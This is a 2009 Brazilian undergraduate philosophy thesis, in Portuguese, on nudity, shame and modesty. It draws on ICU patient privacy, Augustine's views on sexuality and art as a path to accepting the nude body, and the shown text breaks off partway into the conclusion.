NUDEZ E VERGONHA

NUDEZ E VERGONHA

ALBERTO SIUFI JUNIOR

NUDEZ E VERGONHA

SÃO PAULO 2009

ALBERTO
SIUFI JUNIOR

 

NUDEZ E VERGONHA

Trabalho
de Conclusão de Curso apresentado ao Centro Universitário Claretiano para
obtenção do título de graduado em Licenciatura em Filosofia. Orientador:
Professor Adriano Volpini

SÃO PAULO 2009

ALBERTO SIUFI
JUNIOR

Trabalho de Conclusão de Curso apresentado ao Centro
Universitário Claretiano para obtenção do título de graduado em Licenciatura em
Filosofia. Orientador: Prof. Adriano Volpini.

 

NUDEZ E VERGONHA

Orientador:
Prof. Adriano Volpini

 

São Paulo,14 de novembro de 2009

Dedico este trabalho à minha esposa
Claudia Siufi por enxergar, acreditar e impulsionar sempre. Estes estímulos que
impulsionaram meus passos no mundo apaixonante da filosofia, onde me encontrei,
e hoje, descanso minha alma. Agradeço por me conceder a oportunidade desta
realização.

Agradeço ao meu orientador Prof. Dr.
Adriano Volpini por me auxiliar no caminho deste desafio. Agradeço também aos
Professores Jairo Mota e Ricardo Benedicto, e a todos os professores que de uma
maneira ou de outra me mostraram que a filosofia, acima de tudo, é um exercício
da alma.

E
a mulher viu que o fruto da árvore era bom para comer, bonito na aparência e
excelente para alcançar a sabedoria, e pegou o fruto e o comeu, e deu também a
seu marido, que também o comeu. E ambos abriram os olhos e perceberam que
estavam nus e tomando folhas de figueira fizeram cintas para si. […] Deus
chamou o homem e disse: “Onde estás?” O homem respondeu: “Ouvi que andavas pelo
jardim e tive medo, porque estou nu, por isso me escondi”. Deus perguntou:
“Quem te fez ver que estás nu? Comeste da árvore que proibi de comeres?” […]
E ao homem disse: “Por ter escutado a voz de tua mulher e comido da árvore que
eu o havia proibido de comer, maldito seja o solo por tua causa, com fadiga
conseguirás dele o alimento por todos os dias de tua vida. Com o suor de teu
rosto comerás o pão, até que voltes ao solo, pois dele fostes tomado. Porque és
pó e ao pó voltarás. (GENESIS, 3)

 

SUMÁRIO

INTRODUÇÃO
1. UTI NA PRÁTICA

2. DEFINIÇÕES E A NUDEZ NO TEMPO

2.1 NUDEZ

2.2 VERGONHA

2.1 PUDOR

3. O PERÍODO DAS TREVAS -A IDADE MÉDIA E A RELIGIÃO
22
4. A ARTE COMO FORMA DE ACEITAÇÃO DA NUDEZ
CONCLUSÃO
REFERÊNCIAS
BIBLIOGRÁFICAS

ANEXO
1

 

INTRODUÇÃO

 

[…] Então foram abertos os olhos de ambos, e
conheceram que estavam nus […] coseram folhas de figueira, e fizeram para si
aventais
(Genesis 3:7)

Que vergonha, estou nu! Nudez não é coisa simples, ela
aparece logo nas primeiras páginas da Biblia e de outros textos fundadores da
civilização, afirma Marcelo Bortoloti em sua reportagem para a revista Veja em
dezembro de 20081. A verdade é que se Ulisses, personagem de Homero,
naufragasse hoje e aparecesse nu diante de sua princesa Nausícaa assim como foi
relatado na Odisséia, ainda sentiria uma vergonha e um desconforto enorme. O
fato de ter passado mais de 2500 anos não mudaria a sensação de desconforto do
herói e, pelo contrário, sentiria uma culpa religiosa que não existia naqueles
tempos. O resultado de morder o fruto proibido é o sentimento da vergonha,
fraqueza e derrota diante de si mesmos e de Deus. Percebemos como é imoral
estar nu. Todos nós já sentimos vergonha por alguma coisa. E isso parece ser
normal. Quantas vezes não nos sentimos “nus” diante dos olhos dos outros? Este
sentimento de vergonha e pudor, é o que Dietrich Bonhoeffer identifica como a
indestrutível lembrança do ser humano da sua separação da origem, é a dor
decorrente desta separação e o desejo impotente de desfazê-la2. Perdemos
nossa essência original.

1
BORTOLONI, Marcelo. Puritanismo envergonhado. Revista Veja. São Paulo, Ano 41, Ed. 2090, Dez.
2008.
2
Disponível em < http://roberas.blogspot.com/2008/02/que-vergonhaestou-nu.html> Acesso em 29 de setembro de 2009

Não há mais porque temer qualquer nudez,
pois segundo Leipzig, o sangue e justiça do Cristo são adorno e a roupa de gala3. Na
história da arte, da mesma forma é difícil demarcar. Obras-Primas foram alvo de
censura em diferentes épocas. Michelangelo antes de concluir suas pinturas na
Capela Sistina foi advertido pelas cenas inadequadas. Boa parte das folhas de
parreira e de véus, naquele momento, foram acrescentadas a obra. Nem a Venus de
Milo escapou, ela que incorpora o ideal de perfeição e beleza feminina Grega
foi condenada por um tribunal alemão em meados do século XIX por ser imoral.

 

A Criação do Homem, 1508-1512. Michelangelo.Capela
Sistina

A Criação do Homem, 1508-1512. Michelangelo.Capela
Sistina.

O que difere, por exemplo, o nu natural, considerado
vulgar, do nu artístico? O crítico inglês Kenneth Clark4, desmonta
o argumento que o nu artístico não desperta sensações
carnais quando defende que, se a arte não despertar sensações é apenas arte
ruim ou falsa moral. Como definiríamos Carlos Drummond de Andrade5 com sua
“bunda que engraçada rebunda”, Manoel Bandeira que prefere Pasárgada e as
possibilidades de ser amigo do rei, Fernando Pessoa, Bocage entre muitos
outros? Imorais? O pudor é a mais afrodisíaca das virtudes, provocaria Nelson
Rodrigues.

3
Disponível em < http://roberas.blogspot.com/2008/02/que-vergonhaestou-nu.html> Acesso em 29 de setembro de 2009 4 CLARK, Kenneth apud BORTOLONI, Marcelo. Puritanismo envergonhado. Revista Veja. São Paulo, Ano 41, Ed. 2090, Dez.
2008. 5
Anexo 1

Neste trabalho, não pretendo defender nenhuma causa ou
fazer qualquer tipo de apologia. Pretendo apenas questionar porque a nudez
ainda nos incomoda tanto? Seria fruto de imposição religiosa? E enfim: Estaria
na arte o caminho para a compreensão e desmistificação da nudez?

A Tentação, Masolino da Panicale. Capela Brancacci,
Florença

A Tentação, Masolino da Panicale. Capela Brancacci,
Florença

.

Existe um provérbio egípcio que
diz: Those Who had some shame are dead. (Aqueles que tem alguma vergonha estão
mortos).6

6
É um antigo provérbio da Era Otomana,
quando Cairo tinha muitos banhos turcos. Uma vez ouve um grande incêndio no
horário feminino num destes locais e só se salvaram as mulheres que saíram
correndo nuas. As que ficaram envergonhadas morreram.

CAPÍTULO 1
UTI NA PRÁTICA

Quando se define um tema
controverso e desafiador como este, se faz necessário uma referência real,
concreta. De pouco valeria falar da nudez e da vergonha se não respondesse a
primeira pergunta que vem à cabeça: Por que falar de nudez e vergonha? Baseado no
trabalho feito pelos pesquisadores Jussara Simone Lenzi Pupulim7 e Namie Okino Sawada8, relato aqui,
resumidamente as principais idéias defendidas.
Somado a estas idéias, reflexões filosóficas que permeiam todos os seres
humanos. É reconhecível que a conservação da privacidade do paciente é um
desafio para a equipe, pela especificidade da assistência e característica
física das UTIs. É de se imaginar que o paciente que está na UTI, geralmente,
vive momentos de sofrimento e dúvidas que cercam qualquer pessoa com certa
capacidade intelectual. Pensamentos sobre sua vida passada e seu futuro, muitas
vezes incerto, levam a reflexões filosóficas acerca do mundo, da vida, do tempo
e da morte. Certo? Errado. Estão preocupados por estarem nus. Segundo os
autores da pesquisa, é preciso visualizar o paciente considerando a estrutura
que o compõe, abrangendo valores culturais, históricos e sociais, somados aos
aspectos emocionais que permeiam o indivíduo. Ações direcionadas à preservação
da privacidade e atitudes de respeito e solidariedade, ante a necessidade de
expor o corpo do cliente, contribuirão para 7 Enfermeira, Mestre em Enfermagem, Professor Assistente da Universidade Estadual de Maringá.

8 Professor Doutor da Escola de
Enfermagem de Ribeirão Preto, da Universidade de São Paulo, Centro Colaborador
da OMS para o desenvolvimento da pesquisa em enfermagem.

descaracterizar
a imagem de desumanização atribuída às UTIs. Isso na visão de profissionais da
saúde. É certo que está pesquisa não apresenta saídas para as dificuldades
relacionadas à questão da nudez, uma vez que é difícil esgotar toda sua
grandeza, porém, de acordo com os autores, levantou aspectos que merecem
consideração e reflexão por parte das pessoas que atuam na área da saúde. Os
autores esperam atrair a atenção dos profissionais, especialmente da
enfermagem, sobre os fatores e condutas que permeiam a exposição corporal e a
invasão da privacidade do cliente no contexto da assistência à saúde. Acabou
atraindo a atenção de um futuro filósofo. Assim como na filosofia, na medida em
que o estudo foi se desenvolvendo, constatou-se serem poucos os trabalhos, na
área da saúde, que abordam esse assunto. Sugere-se, assim, a realização de
outras investigações, tanto na área filosófica como na área de saúde focalizando
o tema em questão, buscando sempre a busca de alternativas que possam
contribuir para a práxis da enfermagem, visto que “Não há como admitir
distância entre o corpo que cuida e o que recebe cuidados”. Que a nudez, no
mínimo, seja vista com um pouco mais de naturalidade por ambos os lados.

CAPÍTULO 2
DEFINIÇÕES E A NUDEZ NO TEMPO

É importante, para darmos continuidade, definirmos o
que é nudez, vergonha, pudor e outros termos que estarão neste texto. É preciso
também que entendamos que na história da civilização a vergonha relacionada a
nudez é uma coisa recente. Andar nu em 4000 a.C. era uma coisa comum, mais
recentemente, para os gregos, em 500 a.C. as competições esportivas e as
batalhas eram feitas sem roupa. Tudo natural, normal.

Sátiro dormindo. 220 a.C. Glyptothek. Munique.

A palavra ginásio significa local
de nudez. Na Grécia Antiga, em algumas regiões a nudez era aceita. Ninguém
“torceria o nariz” ao ver atletas nus competindo nos jogos olímpicos, onde até
os juízes não usariam nada, aliás, era inclusive uma forma de certificar que
não havia mulheres

competindo. Nenhum exército perderia a
concentração ao combater com soldados espartanos nus. No Império Romano, nos
banhos públicos a nudez era normal e habitual, embora fora deste ambiente
poderia ser considerado uma forma de humilhação. Até o século VIII, o batismo
cristão também era uma cerimônia onde o batizado, nu, era mergulhado em água,
purificando assim sua alma. A Dra. Carmita H. N. Abdo9 acredita
que a extinção desta prática, por parte da igreja católica, acentuou a conotação sexual a nudez. Na época vitoriana, em
meados do século XIX, a nudez já era considerada obscena. Desde então, até os
dias de hoje, a nudez geralmente não é aceita nas sociedades, com exceção a
nudez artística, que veremos na continuação mais detalhadamente.

2.1
NUDEZ

O nu ou a nudez é, de acordo com o dicionário Silveira
Bueno e a Wikipédia10, a condição ou estado pessoal em que, parcial ou
totalmente, encontra-se uma pessoa sem cobertura de roupas. E continua: é usado
para designar o uso de menos roupa do que o esperado por uma convenção
cultural, particularmente no que se refere à exposição das partes intimas,
torso ou membros. Existem culturas que consideram a canela erótica e mulheres
sem véu como nuas. O conceito se relaciona diretamente com a vergonha, mesmo
este sendo livre como sentimento. Na cultura judaico-cristã, afirma a Dra.
Carmita H.N. Abdo, a nudez é associada a priori a um erotismo sujeito ao
controle para preservar a moral sexual, impedir a

9
Psiquiatra. Coordenadora do Projeto
Sexualidade (Prosex) do Instituto de Psiquiatria do Hospital das Clínicas da
Faculdade de Medicina da Universidade de São Paulo. Coordenadora Geral do
Portal da Sexualidade. (http://www.portaldasexualidade.com.br) 10 Disponível em <http://pt.wikipedia.org/wiki/Nudez> Acesso em 29 de setembro de 2009

disseminação de doenças sexualmente
transmissíveis, prevenir o adultério e garantir a estabilidade da estrutura
familiar11 .

Fragmento romano de pintura em cerâmica .
Museu de Nápoles. Séc. II a.C

Fragmento romano de pintura em cerâmica .
Museu de Nápoles. Séc. II a.C

Assim,
desde Adão, cobrimos nossas vergonhas com folhas de figueira. Talvez, como
punição da herança das culturas pagãs helênica-romana, onde todos os excessos
eróticos foram cometidos. Sucumbimos, neste período, devido a esses excessos, à
fraqueza moral e ao culto hedonista, como a homossexualidade na Grécia Antiga,
a prostituição, o culto do deus fálico Príapo e as orgias gastronômicas e
sexuais em Roma. Estes são alguns exemplos citados pelo filósofo Jean Claude
Bologne em seu livro “A história do pudor”12 .

11 Disponível
em <http://www.museudosexo.com.br/salaconceitos_nudez.asp> Acesso em 29 de setembro de 2009 12 BOLOGNE, Jean Claude apud ABDO, Carmita.
Disponível em <http://www.museudosexo.com.br/salaconceitos_nudez.asp> Acesso em 29 de setembro de 2009

Príapo
-Lamparina em terracota, encontrada em Pompéia, pertence ao século I d.C. Museu
Nacional de Nápoles.

Príapo
-Lamparina em terracota, encontrada em Pompéia, pertence ao século I d.C. Museu
Nacional de Nápoles.

Bologne13 aponta ainda a igreja católica como ditadora das regras de
nossos pudores atuais com forte tradição semita de ocultação do corpo. Este é o
fundamento ideológico da idéia de “nudez erótica” na sociedade ocidental.
Embora o conceito de nudez seja a ausência de vestimentas, verificamos que,
pode também ter outros significados e leituras dependendo do local em que
estamos. Na cultura ocidental, estar nu, esta diretamente ligado aos órgãos sexuais
(expostos ou não). Para ortodoxos são braços, colo e pernas. Muçulmanos
consideram a cabeça descoberta a verdadeira nudez. Em algumas tribos africanas
pessoas se sentem nuas na falta de adornos no pescoço e orelhas. Isso mostra
que a nudez transcende

o ato de tirar ou não a roupa e esta
condicionada a um contexto social e a percepção que cada cultura tem do corpo
humano. Vale lembrar que como humanos somos os únicos animais a ter esta
percepção. Em nossa cultura ocidental contemporânea, conforme Dra. Carmita H.N.
Abdo, mantivemos como alicerce moral a herança do sistema de pudor da Idade
Média. São três níveis de consciência em relação a nudez, correspondentes, por
sua vez, a

13 BOLOGNE,
Jean Claude apud ABDO,
Carmita. Disponível em <http://www.museudosexo.com.br/salaconceitos_nudez.asp> Acesso em 29 de setembro de 2009

três valores do corpo
humano. O ser humano nu nada mais era do que carne, sendo assim, um símbolo de
vulnerabilidade. Em oposição ao espírito, continua a autora, é a parte baixa,
vergonhosa do homem, lugar da tentação, do sofrimento e da morte. A nudez
mostrada é, portanto, um castigo baseado na humilhação. A carne é impura por
ser vulnerável e vulnerável por ser impura14 .
A nudez revelada testemunha, portanto, a luxúria e a sujidade da alma.
Voluntária e conscientemente, é falta de pudor e não humilhação. Podemos
representar nossa moral em três situações principais: Primeiro a nudez como
manifestação do erotismo, do desejo, da sexualidade ou da pornografia. Era a
nudez da tentação; Segundo, como humilhação do indivíduo, como expor os corpos
nus de prisioneiros ou de mortos em genocídios, a prática da tortura em vítimas
nuas, arrancar as roupas em praças públicas de mulheres adúlteras, ou esconder
as roupas de uma pessoa em um vestiário. Era a nudez da humilhação; E terceiro,
a nudez de um "comportamento natural" (não sexualizada), como tomar
banho, dormir sem trajes, a nudez infantil, ser examinado por um médico e a
prática do naturismo. Era a nudez da inocência. Mas na prática, estes três
níveis são exercidos em separado e revestem nosso corpo humano de outras
significações. Sempre um corpo nu vai, de alguma maneira, ter um valor
simbólico na nossa percepção. Dependendo dos códigos culturais ou religiosos,
uma nudez “da inocência”, por exemplo, pode ser tentadora ou humilhante, ou uma
nudez humilhante poder ser tentadora ou natural para quem olha, diz a Dra.
Carmita H.N. Abdo.

Tantas
são as sociedades que discutem, satanizam, combatem, proíbem, punem, mas
consomem amplamente a nudez.” (Carmita H. N. Abdo)

14
Incapaz de resistir a tentação, como Adão e Eva; o pecado original trouxe morte
ao mundo.

Muitas vezes a nudez erótica depende mais do que se sugere, do
que, esta inerente. A autora lembra que todo processo de significação implica a
relação do símbolo com

o seu contrário, relação que pode ser
implícita ou explícita, a nudez só existe em relação ao seu contrário: o estar
vestido. Quando a nudez não é comparada ao estar vestido, ela torna-se comum e
não é percebida. Um indivíduo em traje de banho nos oferece uma aparência de
seu "corpo humano" notavelmente distinta do que se estivesse nu.
Centímetros de tecido demarcam a diferença entre o correto e o incorreto, o
pudico e o impudico, o moral e o imoral, desde que cubram determinadas áreas do
corpo. O que se oculta é o que desejamos ver, conclui a autora.

2.2
VERGONHA

Desonra, humilhação e vexame. Palavras fortes que definem a mais
poderosa das emoções humanas. A vergonha mesmo sendo uma das mais comuns
manifestações humanas, só agora passou a ser estudada e a ciência começou a
entender porque algumas pessoas morrem de vergonha. A vergonha fere a
personalidade ali onde ela é mais vulnerável, aos olhos da multidão, define o
psiquiatra Antonio Carlos Cesarino15. O
olhar de condenação do próximo, sempre humilhante, é o castigo por agir mal.
Daí viria o gesto de cobrir o rosto, numa tentativa de se proteger.
Relembrando, sempre de acordo com as normas de comportamento da sociedade em
que vivemos.

15 Disponível em <http://super.abril.com.br/superarquivo/1988/conteudo_111387.shtml> Acesso em 29 de setembro de 2009

A vergonha é uma condição
psicológica. Ainda como forma de controle religioso, político e social. O
terapeuta John Bradshaw16
conceitua a vergonha
como “a emoção que nos deixa saber que somos finitos”. A psiquiatria define
vários tipos de vergonha, porém, aqui cabe relacionarmos a vergonha com a nudez
e ao erotismo. Do padre, por exemplo, que se pune por sentir desejos proibidos,
ou ainda, como citamos no inicio deste trabalho, a do paciente que está se
recuperando na UTI e se vê incomodado por estar nu. Embora sejam exemplos
diferentes um do outro, mostram como é importante discutir este assunto.

Adão e Eva
Expulsos do Jardim do Éden, 1427. Masaccio. Capela Brancacci, Florença

Adão e Eva
Expulsos do Jardim do Éden, 1427. Masaccio. Capela Brancacci, Florença

.

Para a religião
a vergonha esta ligada ao erotismo e a sexualidade, de acordo com a Dra.
Carmita H.N. Abdo. A fé religiosa pode criar a base para a vergonha porque

16 Disponível em <http://pt.wikipedia.org/wiki/Vergonha> Acesso
em 29 de setembro de 2009

esta reflete idéias
internalizadas quanto ao que é certo e apropriado e sobre o que é errado e
impróprio. Num artigo feito por Hilan Bersusan17 intitulado “O controle pela vegonha e pela política da auto-estima” o autor
brilhantemente faz uma ligação entre vergonha, poder e o que diz ser a solução
para a vergonha: a auto-estima. Ele afirma que a vergonha é o correlato mental
de nossos costumes de intimidação, que controla nossos sentimentos, nossas
ações e condiciona nossa dignidade a essas ações. Como acontece o controle pela
vergonha? Bernard Williams escreve que a vergonha não é simplesmente um medo de
ser visto por um outro, mas o medo do modo que este outro o vê. A visão do
observador nem precisa ser crítica, basta a audiência errada e de modo errado.
O autor ainda conecta a vergonha à nudez genital em nossa cultura. Aidoia
deriva de aidós, afirma18. Talvez seja a idéia de que quando
estamos nus estamos de um
modo que não queremos que seja mostrado, pois, queremos ser vistos vestidos.
Nus, mostramos o que somos, inclusive nosso caráter genuíno. A estima que temos
em nós mesmos é o antídoto para a vergonha.

2.3 PUDOR

Trata-se de um sentimento muito complexo e
de difícil definição. Acontece em diferentes objetos, mas o mais comum é o da
vergonha da nudez. De origem remota se modifica dependendo de sua época. O
pudor é um conceito subjetivo.

17 BERSUSAN,
Hilan. Acesso em 29 de setembro de 2009 18 Williams diz que a vergonha tem dois
radicais em grego, muitas vezes substituídos um pelo outro em um contexto.
Aidoia se associa a respeitar o poder de alguém.

Jean Claude Bologne, ainda
em seu livro “A história do Pudor”, resume as duas definições mais comuns do
conceito: “sentimento de vergonha, de incômodo que se tem ao fazer, enfrentar
ou ser testemunha das coisas de natureza sexual; disposição permanente para
esse sentimento” e “incômodo que se sente perante aquilo que a dignidade de uma
pessoa parece proibir”. A psicóloga e terapeuta Marta Borges Pires19 ressalta que “De qualquer forma, do pudor, há quem diga que
é como o medo: na medida certa, é estruturante. Resguarda-nos. Em demasia, pelo
contrário, pode ser prejudicial. Aliás, tal como a timidez”. Não existe um tipo
de pudor, e sim vários, de acordo com sua época. “Quando, no século XVII, as
viagens intercontinentais revelaram aos Europeus povos que obedeciam a um pudor
diferente do seu, surgiu uma nova reflexão (sobre este sentimento)”, declara
Jean-Claude Bologne. No seu livro, Bologne afirma ainda que “na praia ou na
avenida, o fato de banho não tem o mesmo significado”, e lembra que o “pudor
individual” – o que cada indivíduo tem em mostrar-se, ver-se nu ou com roupa
mais ousada – reforça-se com um “pudor social que define, em função da época e
do lugar, os limites tolerados à exibição”. E acrescenta: “A moral vestida de
grego ou de latim, conhece também a distinção entre ethos (regras de conduta
individuais) e habitus (regras de vida social) …” Aliás, para este
especialista, o pudor não se apresenta só “como perpétuo combate” entre
“indivíduo e sociedade”, mas também “entre instinto e razão, entre consciência
e inconsciência”.

19
PIRES, Marta Borges. Disponível em <http://www.kaminhos.com/artigo.asp? id_artigo=4548&id_seccao=7> Acesso
em 29 de setembro de 2009

 

 

CAPÍTULO 3
O PERÍODO DAS TREVAS
A
IDADE MÉDIA E A RELIGIÃO

“Adão e Eva podiam desfrutar das maravilhas do Jardim
do Éden, menos de uma coisa: estavam terminantemente proibidos de experimentar
a maçã da Árvore do Conhecimento do Bem e do Mal. Comeram. Para impedir que
eles comessem também o fruto da Árvore da Vida, que os tornaria imortais, Deus
decidiu expulsá-los do Éden. Eva culpou a serpente. Segundo a Bíblia, Deus
condenou todas as mulheres a darem à luz com dor e a serem dominadas pelos
homens.”

Tentação e Queda, 1508. Michelangelo. Capela Sistina.

Adão e Eva
Expulsos do Jardim do Éden, 1427. Masaccio. Capela Brancacci, Florença

Adão teria violado sua inocência por ter mantido
relações sexuais com Eva, o que passou então a ser conhecido como “pecado
original”. Segundo Santo Agostinho, em função deste pecado original, o sexo se
transformou numa vergonhosa luxúria, carregado de culpa. O sexo deve limitar-se
a propagação da espécie e não ser feito por prazer. Essa história vem sendo
contada por todas as gerações, até os dias de hoje.

Para a sexóloga e psicóloga Kelly
Cristine Barbosa Cherulli20, no catolicismo: além de todos os conflitos já
vivenciados pelos fiéis e pelo próprio clero ao longo da sua história, o ano de
1994, foi marcado por um “afunilamento idelógico sexual”, que pregava “uma
castração da liberdade sexual em massa: a reafirmação do sexo­reprodução como exclusividade, a himenolatria como
valorização da virgindade; a culpa pelo sexo antes do casamento; a condenação
do uso de preservativos ou de qualquer método anticoncepcional. Além disso, há
ainda a condenação do aborto e do homossexualismo, e embora seja permitido umas
variações sexuais, o sexo anal é condenado. Esta visão continua até hoje na
igreja. Para compreender melhor a posição que a igreja católica toma,
precisamos recuar até a idade média, que tantos insistem em chamar de “Idade
das Trevas”.

"Na
minha memória vivem ainda as imagens de obscenidades que o hábito inveterado lá
fixou. Quando, acordado, me vêm à mente, não têm forças; porém, durante o sono,
não só me arrastam ao deleite, mas até à aparência do consentimento e da ação.
A ilusão da imagem possui tanto poder na minha alma e na minha carne, que,
enquanto durmo, falsos fantasmas me persuadem a ações a que, acordado, nem
sequer as realidades me podem persuadir ". (Santo Agostinho)

Em 400 d.C. Santo Agostinho21 publica
suas “Confissões”, e a igreja neste período
pós bárbaros, é a única instituição organizada que havia. Neste período a
igreja amplia seu poder em todos os sentidos. Confissões é um relato
autobiográfico de um homem atormentado. As respostas viriam somente em sua
próxima obra “Cidade de Deus” onde ressuscita Platão, embora, com outra
roupagem.

20
CHERULLI, Kelly Cristine Barbosa. Disponível em <http://www.historiadasexualidade.com/sexo_religiao.html> Acesso em 29 de
setembro de 2009 21 SANTO AGOSTINHO. Disponível em <http://www.museudosexo.com.br/salahistoria_sexualidade_SerPuro.asp> Acesso em 29 de setembro de 2009

A filósofa Dra. Carmita H.N. Abdo expõe
que o tema sexualidade está presente em vários capítulos de Confissões,
assim como na vasta obra de Santo Agostinho. É uma abordagem sistematizada a
partir de três tradições que influenciaram o início do Cristianismo: a dos
estóicos, que defendiam a virgindade e a castidade, a dos hebreus, que
associavam a mulher e o sexo com a impureza, e a dos maniqueus que consideravam
o corpo como fonte de corrupção.

Alessandro
Allori – Allegoria della vita humana -Museu do Vaticano

Alessandro
Allori – Allegoria della vita humana -Museu do Vaticano

Santo Agostinho lamenta o que diz ter sido
suas torpezas passadas e depravações carnais da sua alma na sua juventude. Ele
diz ter experimentado toda a vida mundana “ardendo em prazeres infernais” que o
fez definhar. Definhou, em sua opinião, por querer agradar aos olhos do Homem e
não aos olhos de Deus. Culpa, em parte, sua necessidade de ser amado e de amar
e o que dizia ser a “lodosa concupiscência da carne e do borbulhar da
juventude”. Entregava-se então a “ação da carne”. O perfeito para ele são as relações
da alma. Era, em sua própria analise, um devasso.

"Eu é que, certamente, deveria com mais diligência prestar
ouvidos ao som vindo de Vossas nuvens […] ‘Sofrerão as tribulações da carne.
Eu, porém, perdoo-vos’ (1Corintios 7:28).

“’É bom para o homem não tocar mulher
alguma” (1Corintios 7:1)

Oxalá tivesse ouvido mais atentamente estas palavras ! Se tivesse
vivido eunuco por amor do reino dos céus, esperaria agora, mais feliz, os
Vossos abraços (Mateus 19:12)".

A humanidade se perdeu, para Santo Agostinho,
ao procurar deleitar seus próprios prazeres ao invés de servir a Deus e cita
como exemplo a masturbação como degradação humana. Ele qualificava sua
experiência sexual como a pior das doenças que “ulcerava sua alma”. Hoje ainda
percebemos muitos traços desta culpa em nossos costumes. A vergonha só apareceu
depois do pecado original e de acordo com alguns religiosos como Estevão
Prestes22 foi Deus que inventou a roupa. Antes da
queda moral de Adão e Eva eles ficavam nus e se sentiam a vontade, sem vergonha
e nem culpa23. Este argumento se baseia na própria
Bíblia Sagrada (Gênesis 3:21) onde se lê: “E fez O Senhor Deus (Eloin) a Adão e
a sua mulher túnicas de peles e os vestiu". Mesmo se ignorarmos a
simbologia dos primeiros capítulos do Genesis e interpretarmos literalmente
perceberemos que a humanidade vivia em estado de inocência e não existia
vergonha, segundo o religioso. A Biblia Sagrada traz inúmeras citações a
respeito da vergonha e da nudez, tanto no antigo como no novo testamento, todas
elas relacionando a nudez ao pecado.

“Aconselho-te que compres de mim ouro provado ao fogo, para
ficares rico; roupas alvas para te vestires, a fim de que não apareça a
vergonha de tua nudez; e um colírio para ungir os olhos, de modo que possas ver
claro.” (Apocalipse 3,18)

22 Evangélico
e Naturista 23 PRESTES,
Estevão.

BR&ct=clnk&cd=27&gl=br&client=firefox-a> Acesso em 29 de
setembro de 2009

CAPÍTULO
4

 

A ARTE COMO FORMA DE ACEITAÇÃO DA NUDEZ

É a grande Katharsis pela
arte, de acordo com o filósofo brasileiro Huberto

Rohden24. Se o
universo (todo) é puro e belo, como pode o homem (uno) ser impuro

ou
feio?

“Este
aliás, é também o conceito ético de bom ou mau. Bom é aquilo que harmoniza com
o Todo; mau é aquilo que desarmoniza. Em inglês, ‘holy’ (santo) é aquilo que
esta afinado pelo ‘whole’ (todo, inteiro); em alemão, ‘heilig’ (santo) é aquilo
que é ‘heil’ (todo, inteiro).” (Huberto Rohden, 2007, p. 38)

Se Deus é a perfeição, segundo Santo Agostinho, como
podemos mesmo sendo sua imagem e semelhança sermos feios, assim como,
naturalmente somos? Afinal, não somos o que vestimos. A arte então passa a
justificar o que é errado? Pergunta o critico inglês Kenneth Clark25 . A nudez é vista como imoral pela Biblia Sagrada e
mesmo assim dentro de suas igrejas
existem obras de arte, sejam em telas ou esculturas que mostram o nu em
detalhes. Como é possível? Os olhos que vêem a nudez na arte e a nudez fora
dela não são os mesmos? Os moralistas dizem que as sensações são diferentes,
contrariando Sigmund Freud, que definia a arte também como uma sublimação da
libido sexual do ser humano.

24
ROHDEN, Huberto. Filosofia da Arte – A metafísica da verdade revelada
na estética da beleza
, São Paulo:
Martin Claret, 2007, p. 37 25 CLARK,
Kenneth apud BORTOLONI, Marcelo.
Puritanismo envergonhado
. Revista
Veja. São Paulo, Ano 41, Ed. 2090, Dez. 2008.

Freud diz ainda que a libido a mola real
da vida humana e que essa força, quando recalcada, se manifesta como neurose
doentia. Quando não canalizada, a libido se transforma em outras formas de
atividade, seja a filosofia, a arte, a ciência, a filantropia e até a religião.
É o conhecido “pan­sexualismo” do mestre vienense Freud26 . O
substantivo latino “libido” continua Rohden, é derivado do verbo libere, que
significa “gozar”, “ter prazer”. Libido é uma sensação de prazer.

“O
gozoso está a serviço do necessário. O gozoso ou agradável é a última e suprema
garantia do necessário.” (Huberto Rohden, 2007, p. 76)

Voltamos então ao que citei na
primeira parte do trabalho, quando a Dra. Carmita

H.N. Abdo afirma que a nudez é satanizada, combatida e
proibida a mesma medida que é consumida.

Miguelangelo – Juizo Final – Museu do Vaticano

Miguelangelo – Juizo Final – Museu do Vaticano

26 Freud apud ROHDEN, Huberto. Filosofia da Arte – A metafísica da verdade revelada
na estética da beleza
, São Paulo:
Martin Claret, 2007, p. 75

Se fossemos animais acabaríamos a
discussão aqui e colocaríamos um ponto final. Entretanto, somos animais e um
ser mental, somos racionais. Por isso, lembra Rohden, a libido humana é também
Eros. E continua: A libido é do anér e da gyné27 , enquanto Eros é do ánthropos, como os gregos apelidaram
o ser humano como tal. Sem conotação sexual. O filósofo lamenta que o que nossa
linguagem comum chama de “erótico” devia se chamar “libidinoso”.

“Sendo
o ser humano, completo, uma entidade vital-mental­racional, é certo que Eros
inclui a libido; mas está não inclui aquele. No mais está o menos, mas no menos
não está o mais, pelo menos não totalmente.” (Rohden, 2007, p.77)

Platão28, séculos antes da era cristã, desenvolveu
magistralmente este tema do Eros no ánthropos. Rohden mostra que a filosofia da Grécia aparece nas
páginas do Genesis de Moisés, assim como no Evangelho do Cristo. No Genesis a
serpente tirou o homem primitivo do Éden, ou seja, do subconsciente da natureza
e lançou-o no meio de um mundo cheio de espinhos, ou seja, na zona do ego
consciente, onde começaram todos os problemas e sofrimentos.

“Até o
presente dia se acha o homem nessa zona da serpente rastejante”. (Rohden, 2007,
p.78)

E Rohden vai além quando fala que Moisés insinua uma
futura verticalização do ego horizontal, quando afirma que um poder maior
nascerá dentro do homem e “esmagara a cabeça da serpente”29, ou
seja, o homem-Eu superará o homem-ego. Lembrando muito outros filósofos como
Schopenhauer30 quando afirma que a mola

27
Palavras gregas para macho e fêmea. 28 Platão apud ROHDEN, Huberto. Filosofia
da Arte – A metafísica da verdade revelada na estética da beleza
, São Paulo: Martin Claret, 2007, p. 75 29 Moisés apud ROHDEN, Huberto. Filosofia da Arte – A metafísica da verdade revelada
na estética da beleza
, São Paulo:
Martin Claret, 2007, p. 79 30 Schopenhauer
apud ROHDEN, Huberto. Filosofia da
Arte – A metafísica da verdade revelada na estética da beleza
, São Paulo: Martin Claret, 2007, p. 79

mestra do homem é viver em seu “A vontade de viver” e
a psicologia de Alfred Adler31, discípulo de Freud, quando afirma que o homem não
está contente com um simples viver horizontal (Se inspirando claramente em
Nietzsche). É preciso que nos libertemos de padrões estabelecidos e nisso a
arte é a grande responsável pela aceitação do que era antes chamado de imoral.
É a Katharsis purificadora de nossos tempos. É ainda, segundo Rohden o homem
esmagando a cabeça da serpente.

31 ADLER,
Alfred apud ROHDEN, Huberto. Filosofia da Arte – A metafísica da verdade revelada na estética
da beleza
, São
Paulo: Martin Claret, 2007, p. 79

 

CONCLUSÃO

Sempre que falarmos em nudez, temos que ter a
consciência que estamos pisando num campo perigoso, onde ninguém fica sem dar
